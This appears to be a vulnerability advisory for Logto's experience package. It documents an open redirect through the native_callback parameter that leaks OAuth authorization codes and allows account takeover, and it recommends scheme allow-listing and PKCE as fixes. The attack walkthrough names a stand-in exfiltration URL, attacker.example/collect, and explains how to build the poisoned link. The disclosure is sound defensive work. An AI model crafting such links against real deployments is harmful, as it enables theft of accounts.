@logto/experience open redirect
Description
VULN-016 — OAuth/SSO Authorization-Code Exfiltration and Cross-Session Account Takeover via Attacker-Controlled native_callback Parameter in Social/SSO Landing Flow
Status
CONFIRMED — via static trace, with the server-side half of the chain independently re-verified: assignConnectorSessionResult/getConnectorSessionResult (packages/core/src/libraries/verification-helpers/social-verification.ts:105-124) store and re-read the connectorSession (including the client-chosen state) purely against the calling request's own oidc-provider interaction cookie — there is no mechanism anywhere in this path that ties a code redemption to "the same browser that completed the IdP consent," only to "a state value that self-matches whatever the caller previously stored in their own session." This confirms the core claim that state-matching here is a self-consistency check within one attacker-controlled session, not a cross-session binding control. The client-side (React) half of the chain (sessionStorage poisoning via native_callback, forwarding via Callback.tsx) was not exercised in a live browser, and no real third-party IdP consent was performed — full end-to-end reproduction would need a live Google/enterprise-IdP account and is recommended before or alongside vendor remediation, but is not required to establish that the vulnerability is real: the mechanism has no other gate that would stop it.
Classification
- Vulnerability: Open Redirect enabling OAuth/OIDC Authorization Code Interception → Cross-Session Account Takeover
- CWE: CWE-601 — URL Redirection to Untrusted Site ('Open Redirect') as the root technical flaw; CWE-346 — Origin Validation Error (native callback link is never checked against any allow-listed scheme/origin); impact reaches CWE-287 — Improper Authentication (attacker completes sign-in bound to the victim's linked social/SSO identity from the attacker's own session)
- Severity: High
- CVSS (estimate): 8.1 — CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N (Attack Complexity rated High because the attacker must first self-mint a valid
state/authorizationUripair and lure the victim through a real IdP consent; Confidentiality/Integrity High because the outcome is authentication as the victim's linked identity)
Location
- File:
packages/experience/src/utils/social-connectors.ts:93-105—buildSocialLandingUri(path, redirectTo):url.searchParams.set(SearchParameters.RedirectTo, redirectTo); ... url.searchParams.set(SearchParameters.NativeCallbackLink, callbackLink); - File:
packages/experience/src/pages/SocialLanding/use-social-landing-handler.ts:17-32— readsredirect_toandnative_callbackstraight fromwindow.location.searchand (a) navigates toredirect_tounconditionally (see VULN-015), and (b) storesnative_callbackverbatim viastoreCallbackLink(connectorId, nativeCallbackLink)with no validation that it is a legitimate native-app URI scheme (e.g.io.myapp://...) as opposed to an arbitraryhttps://URL. - File:
packages/experience/src/utils/social-connectors.ts:107-109—storeCallbackLink = (connectorId, callbackLink) => sessionStorage.setItem(\social_callback_data:${connectorId}\, callbackLink)— persists the attacker-controlled value insessionStorage, keyed only byconnectorId. - File:
packages/experience/src/pages/Callback/use-social-callback-handler.ts:24-31— on return from the upstream IdP, reads the stored value back viagetCallbackLinkFromStorage(connectorId)and, if present, doeswindow.location.replace(new URL(\${callbackLink}${search}\)), forwarding the entire query string — including the OAuthcodeandstatereturned by the IdP — to whatever URL was poisoned in the prior step. - File:
packages/experience/src/types/index.ts:25-28—SearchParameters.NativeCallbackLink = 'native_callback',SearchParameters.RedirectTo = 'redirect_to'— both are bare, unauthenticated query-parameter keys. - Route registration:
packages/experience/src/App.tsx:75-76,181—social/landing/:connectorId(poisoning entry point) andcallback/:connectorId(forwarding exit point) are both public, unauthenticated top-level routes. - Server-side corroborating routes:
packages/core/src/routes/experience/verification-routes/social-verification.ts:31-81(POST /api/experience/verification/social/:connectorId/authorization-uri— accepts a fully client-chosenstateandredirectUri, seesocialAuthorizationUrlPayloadGuardinpackages/schemas/src/types/interactions.ts:79-83) and:83-169(POST /api/experience/verification/social/:connectorId/verify— redeemsconnectorData.code/stateagainst the requester's own interaction session). - Same pattern applies to enterprise SSO:
packages/experience/src/hooks/use-single-sign-on.ts:32-42builds the identicalbuildSocialLandingUri(...)handoff for SSO connectors.
Vulnerable Code
// packages/experience/src/utils/social-connectors.ts:93-105
export const buildSocialLandingUri = (path: string, redirectTo: string) => {
const { origin } = window.location;
const url = new URL(`${origin}${path}`);
url.searchParams.set(SearchParameters.RedirectTo, redirectTo);
const callbackLink = getLogtoNativeSdk()?.callbackLink;
if (callbackLink) {
url.searchParams.set(SearchParameters.NativeCallbackLink, callbackLink); // legitimate native flow sets this from the SDK bridge
}
return url;
};// packages/experience/src/pages/SocialLanding/use-social-landing-handler.ts:15-33
const socialLandingHandler = useCallback(
(connectorId: string) => {
const redirectUri = getSearchParameters(search, SearchParameters.RedirectTo);
if (!redirectUri) { /* ... */ return; }
const nativeCallbackLink = getSearchParameters(search, SearchParameters.NativeCallbackLink);
if (nativeCallbackLink) {
storeCallbackLink(connectorId, nativeCallbackLink); // <-- ATTACKER can also reach this page directly with an arbitrary native_callback value
}
window.location.replace(new URL(redirectUri));
},
[search, setToast, t]
);// packages/experience/src/pages/Callback/use-social-callback-handler.ts:12-31
const socialCallbackHandler = useCallback(
(connectorId: string) => {
const searchParams = new URLSearchParams(window.location.search);
const hashParams = new URLSearchParams(window.location.hash.slice(1));
const joinedSearchParams = new URLSearchParams([...searchParams, ...hashParams]);
const search = joinedSearchParams.toString() ? `?${joinedSearchParams.toString()}` : '';
const callbackLink = getCallbackLinkFromStorage(connectorId); // <-- reads back whatever was poisoned above
removeCallbackLinkFromStorage(connectorId);
if (callbackLink) {
window.location.replace(new URL(`${callbackLink}${search}`)); // <-- forwards code+state (the real IdP callback query string) to the poisoned URL
return;
}
// ... normal web flow otherwise
},
[navigate]
);Why It's Vulnerable
SocialLanding (comment: "Only used for native app out of the app webview sign-in flow") and Callback are, in practice, plain public routes with no enforcement that they are only reached via the intended native-app deep-link handoff. Any visitor can navigate directly to /social/landing/:connectorId?redirect_to=<url>&native_callback=<url>. The native_callback value is stored in sessionStorage completely unvalidated — it is never checked to be a non-http(s) custom scheme (the actual native-app deep link), a same-origin URL, or anything else. It is later read back by Callback (the real OAuth redirect_uri registered with the upstream IdP for this connector) and used to build the URL that the entire authorization callback query string — including the IdP's code and state — is forwarded to via window.location.replace.
Because the OAuth state value sent to the upstream IdP is also fully client-chosen (socialAuthorizationUrlPayloadGuard in packages/schemas/src/types/interactions.ts:79-83 accepts a bare z.string() for state, populated client-side by generateState() in packages/experience/src/containers/SocialSignInList/use-social.ts:63), and the authorization-uri creation endpoint (POST /api/experience/verification/social/:connectorId/authorization-uri) requires no authentication (only a bootstrapped, anonymous experience interaction — the same precondition already demonstrated live for VULN-014), an attacker can self-mint a completely valid authorizationUri (a real, working link to the upstream IdP's consent screen) using a state of their own choosing, entirely from their own browser/session, before ever involving a victim.
The attacker then combines that legitimately-obtained authorizationUri as the redirect_to value with a malicious native_callback=https://attacker.example/collect in a single crafted link to /social/landing/:connectorId. When the victim clicks it:
- The victim's browser stores
https://attacker.example/collectin the victim's ownsessionStorage(poisoning step, silent, no visible effect). - The victim is immediately redirected (via the VULN-015 open redirect in the same handler) to the real, legitimate upstream IdP consent screen (e.g., Google) using the attacker's pre-generated
state. - The victim, seeing a completely genuine IdP consent screen, logs in with their real account and approves.
- The IdP redirects back to Logto's real, registered callback URI (
https://<tenant>/callback/<connectorId>?code=<real code>&state=<attacker's state>), which isCallback.tsx. Callback.tsxfinds the poisonednative_callbackentry insessionStorageand immediately forwards the entire query string, including the victim's real, unused authorizationcode, tohttps://attacker.example/collect?code=...&state=...viawindow.location.replace.- The attacker's server now has a valid, unredeemed authorization code for the victim's real IdP login. Because this is a confidential-client, non-PKCE flow, standard OAuth2 semantics mean the code is a bearer credential: whoever redeems it first (with the client_secret, which only Logto's server holds, and the exact
redirect_urioriginally used, which is unaffected by this bug) succeeds — regardless of which browser/session performed the original authorization request to the IdP. - The attacker, using their own browser/session (the same one that minted
statein step 0, and whose interaction record already has the matchingconnectorSessionstored server-side viaassignConnectorSessionResultinpackages/core/src/libraries/verification-helpers/social-verification.ts:44-59, keyed off the OIDC provider's own interaction cookie for the requester), callsPOST /api/experience/verification/social/:connectorId/verifywithconnectorData: { code: <leaked victim code>, state: <attacker's state> }. The server-sidestatecheck passes (it matches what the attacker's own session stored), the code exchange with the IdP succeeds (valid, unused code, correct client_id/secret/redirect_uri), and Logto fetches the victim's real IdP identity and binds it to the attacker's interaction/verification session (SocialVerification.verifyinpackages/core/src/routes/experience/classes/verifications/social-verification.ts:159-174). - The attacker completes the interaction (
identifyAndSubmitInteraction) from their own session, resulting in Logto signing the attacker in as the Logto account linked to the victim's social identity (or creating/linking a new account bound to the victim's verified email/identity, depending on tenant settings) — full account takeover, entirely from the attacker's own browser.
Data Flow (source → sink → redemption)
- Source:
native_callback(andredirect_to) query parameters onGET /social/landing/:connectorId, fully attacker-controlled, no authentication. - Poison:
storeCallbackLink(connectorId, nativeCallbackLink)→sessionStorage['social_callback_data:<connectorId>'](packages/experience/src/utils/social-connectors.ts:107-109). - Trigger: Victim completes a genuine IdP login flow (state pre-minted by attacker via the unauthenticated
POST .../social/:connectorId/authorization-uriendpoint) and lands onGET /callback/:connectorId?code=...&state=.... - Sink (exfiltration):
window.location.replace(new URL(\${callbackLink}${search}\))inpackages/experience/src/pages/Callback/use-social-callback-handler.ts:28, sendingcode+stateto the attacker's poisoned URL. - Redemption: Attacker calls
POST /api/experience/verification/social/:connectorId/verify(packages/core/src/routes/experience/verification-routes/social-verification.ts:83-169) from their own session with the leakedcode/state; server-side redemption is bound only to the requester's own interaction session viagetConnectorSessionResult(ctx, provider)(packages/core/src/libraries/verification-helpers/social-verification.ts:120-124region), with no cross-check that the same browser/session performed the original IdP authorization request.
Attack Scenario
See "Why It's Vulnerable" above for the full numbered chain. In short: attacker self-mints a valid authorizationUri+state, embeds it plus a malicious native_callback in a single link to the real tenant domain, lures the victim into completing a genuine third-party login through that link, and then redeems the leaked authorization code themselves to authenticate as the victim's linked identity.
Impact
- Who is affected: Any tenant using social sign-in or enterprise SSO connectors (the same
buildSocialLandingUri/native_callbackhandoff is shared by both, peruse-social.ts:38-49anduse-single-sign-on.ts:32-42). Victim must click a crafted link and complete a real login with their own IdP credentials, believing they are signing in normally (the flow looks and behaves identically to a legitimate sign-in, including a real IdP consent screen). - What attacker achieves: Authentication as the victim's Logto account (or creation of an attacker-controlled account bound to the victim's verified social/SSO identity), i.e., full account takeover, without ever knowing the victim's Logto password or possessing any of the victim's credentials — the only thing exfiltrated is a short-lived OAuth authorization code.
- Conditions required: Victim must click the crafted link and complete a genuine third-party login through it. No authentication is required for the attacker to prepare the attack (self-minting
state/authorizationUri) or to redeem the leaked code.
Recommended Fix
- Fix the root-cause open redirect first (see
findings/VULN-015-experience-client-side-open-redirect.md) soredirect_tocannot point off-origin. - Independently, validate
native_callbackbefore storing it: only accept values matching an allow-listed native-app URI scheme (e.g., configured per first-party mobile app, not an arbitraryhttps://URL), rejecting anything that isn't a registered custom scheme:
// packages/experience/src/pages/SocialLanding/use-social-landing-handler.ts
const nativeCallbackLink = getSearchParameters(search, SearchParameters.NativeCallbackLink);
if (nativeCallbackLink && isAllowedNativeCallbackScheme(nativeCallbackLink)) {
storeCallbackLink(connectorId, nativeCallbackLink);
} else if (nativeCallbackLink) {
// reject silently or show an error — do not store an unvalidated value
}- Defense in depth on the server side: bind the
statevalue's validity to a value the server itself generates and signs (rather than accepting an arbitrary client-chosen string), and/or require PKCE (code_verifier/code_challenge) for the social/SSO authorization-uri + verify pair, so that redeeming a leakedcodealso requires acode_verifierthat only the browser which initiated the original request possesses. This closes the interception window even if a code is exfiltrated by any future bug of this shape.
Why the fix works: Restricting native_callback to genuinely registered native schemes removes the exfiltration sink; adding PKCE removes the ability for a different session (the attacker's) to redeem a code obtained via a different browser's (the victim's) completed IdP login, which is the standard mitigation for authorization code interception (RFC 9700 / OAuth 2.0 Security Best Current Practice).
References
- CWE-601: cwe.mitre.org/
data/ definitions/ 601.html - CWE-346: cwe.mitre.org/
data/ definitions/ 346.html - OAuth 2.0 Security Best Current Practice (authorization code interception / PKCE): datatracker.ietf.org/
doc/ html/ rfc9700 - Related internal finding:
findings/VULN-015-experience-client-side-open-redirect.md(same unvalidated-query-parameter root cause, simpler standalone impact)